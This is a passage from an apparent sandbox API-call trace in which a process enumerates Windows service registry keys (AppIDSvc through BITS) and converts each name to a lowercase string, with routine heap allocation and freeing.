cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.099] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.099] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.099] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.100] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.100] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.100] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.101] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.101] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.101] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.101] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.102] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.102] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.102] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.103] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.103] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.103] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.103] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.104] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.104] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.104] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.105] RtlFreeHeap 